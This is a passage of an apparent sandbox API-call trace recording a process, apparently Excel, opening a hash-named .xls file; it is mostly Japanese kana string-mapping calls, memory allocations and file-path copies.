cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ょ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="よ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ら", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="り", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="る", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="れ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ろ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゎ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="わ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゐ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゑ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="を", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ん", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゔ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゕ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.498] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゖ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゗", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゘", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゙", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゚", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゛", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゜", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゝ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゞ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゟ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゠", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ァ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ア", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ィ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="イ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゥ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ウ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ェ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="エ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ォ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="オ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="カ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ガ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="キ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ギ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ク", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="グ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ケ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゲ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="コ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="サ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ザ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="シ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ジ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ス", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ズ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="セ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゼ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ソ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゾ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="タ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ダ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="チ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヂ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ッ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ツ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.499] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="テ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="デ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ト", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ド", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ナ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ニ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヌ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ネ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ノ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ハ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="バ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="パ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヒ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ビ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ピ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="フ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ブ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="プ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヘ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ベ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ペ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ホ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ボ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ポ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="マ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ミ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ム", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="メ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="モ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ャ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヤ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ュ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ユ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ョ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヨ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ラ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="リ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ル", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="レ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ロ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヮ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ワ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヰ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヱ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヲ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.500] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ン", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヵ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヶ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヷ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヸ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヹ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヺ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="・", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ー", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヽ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヾ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0074.501] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヿ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0074.503] GetUserDefaultLangID () returned 0x409 [0074.503] GetSystemDefaultLangID () returned 0x390409 [0074.503] GetSystemMetrics (nIndex=42) returned 0 [0074.503] IMalloc:Alloc (This=0x7fefe465380, cb=0x3c) returned 0x6792150 [0074.503] IMalloc:Alloc (This=0x7fefe465380, cb=0x38) returned 0xb7b5b00 [0074.503] IMalloc:Alloc (This=0x7fefe465380, cb=0x20000*=0x78746341) returned 0xb8042f0 [0074.503] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb7e5080 [0074.503] GetStockObject (i=13) returned 0x18a002e [0074.503] GetObjectA (in: h=0x18a002e, c=60, pv=0x1f4240 | out: pv=0x1f4240) returned 60 [0074.504] IMalloc:Alloc (This=0x7fefe465380, cb=0x7d8) returned 0x67f1440 [0074.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7.1\\Common", cchWideChar=-1, lpMultiByteStr=0x67f144c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.1\\Common", lpUsedDefaultChar=0x0) returned 11 [0074.504] IMalloc:Alloc (This=0x7fefe465380, cb=0x98) returned 0x62583b0 [0074.504] VirtualQuery (in: lpAddress=0x1f43c0, lpBuffer=0x1f4380, dwLength=0x30 | out: lpBuffer=0x1f4380*(BaseAddress=0x1f4000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1c000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0074.504] CreateCompatibleDC (hdc=0x0) returned 0xffffffff8f010a3e [0074.504] GetCurrentObject (hdc=0xffffffff8f010a3e, type=0x7) returned 0x185000f [0074.504] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb7e50e0 [0074.504] IMalloc:Alloc (This=0x7fefe465380, cb=0x28) returned 0xb7e4e40 [0074.522] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpString2="") returned 1 [0074.523] lstrlenA (lpString="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 94 [0074.523] lstrcpyA (in: lpString1=0xa37c750, lpString2="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" [0074.523] SetCursor (hCursor=0x10007) returned 0x10007 [0074.523] strcpy_s (in: _Dst=0xa37c5b0, _DstSize=0x1a, _Src="C:\\Users\\aETAdzjz\\Desktop" | out: _Dst="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0074.523] strnlen (_Str="C:\\Users\\aETAdzjz\\Desktop", _MaxCount=0x7fffffff) returned 0x19 [0074.523] lstrcpynA (in: lpString1=0xa37ccf0, lpString2="C:\\Users\\aETAdzjz\\Desktop", iMaxLength=26 | out: lpString1="C:\\Users\\aETAdzjz\\Desktop") returned="C:\\Users\\aETAdzjz\\Desktop" [0074.523] GetCurrentThreadId () returned 0xa30 [0074.523] GetCurrentThreadId () returned 0xa30 [0074.523] IMalloc:Alloc (This=0x7fefe465380, cb=0x4) returned 0x23ae3c0 [0074.523] IMalloc:Alloc (This=0x7fefe465380, cb=0xf0) returned 0x680cdf0 [0074.523] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0x61c5520 [0074.523] IMalloc:Alloc (This=0x7fefe465380, cb=0x280) returned 0x63781f0 [0074.524] IMalloc:Alloc (This=0x7fefe465380, cb=0xa08) returned 0x63cdd10 [0074.524] IMalloc:Alloc (This=0x7fefe465380, cb=0x1738) returned 0x479d480 [0074.524] GetLocalTime (in: lpSystemTime=0x1f4058 | out: lpSystemTime=0x1f4058*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x25, wMilliseconds=0x94)) [0074.524] _ultow_s (in: _Value=0x5c6a74e9, _Buffer=0x637821a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5c6a74e9") returned 0x0 [0074.524] wcsncpy_s (in: _Destination=0x1f3d20, _SizeInWords=0x108, _Source="*\\Z005c6a74e9", _MaxCount=0x106 | out: _Destination="*\\Z005c6a74e9") returned 0x0 [0074.524] CharLowerBuffW (in: lpsz="*\\Z005c6a74e9", cchLength=0xd | out: lpsz="*\\z005c6a74e9") returned 0xd [0074.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005c6a74e9", cchWideChar=14, lpMultiByteStr=0x1f3c50, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005c6a74e9", lpUsedDefaultChar=0x0) returned 14 [0074.524] wcscpy_s (in: _Destination=0x61c5540, _SizeInWords=0xe, _Source="*\\Z005c6a74e9" | out: _Destination="*\\Z005c6a74e9") returned 0x0 [0074.524] wcsncpy_s (in: _Destination=0x1f3d60, _SizeInWords=0x108, _Source="*\\Z005c6a74e9", _MaxCount=0x106 | out: _Destination="*\\Z005c6a74e9") returned 0x0 [0074.524] CharLowerBuffW (in: lpsz="*\\Z005c6a74e9", cchLength=0xd | out: lpsz="*\\z005c6a74e9") returned 0xd [0074.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005c6a74e9", cchWideChar=14, lpMultiByteStr=0x1f3c90, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005c6a74e9", lpUsedDefaultChar=0x0) returned 14 [0074.533] lstrcpyA (in: lpString1=0xa37c7c0, lpString2="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" [0074.533] lstrcpyA (in: lpString1=0xa37c7c0, lpString2="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" [0074.533] lstrcpyA (in: lpString1=0xa37c7c0, 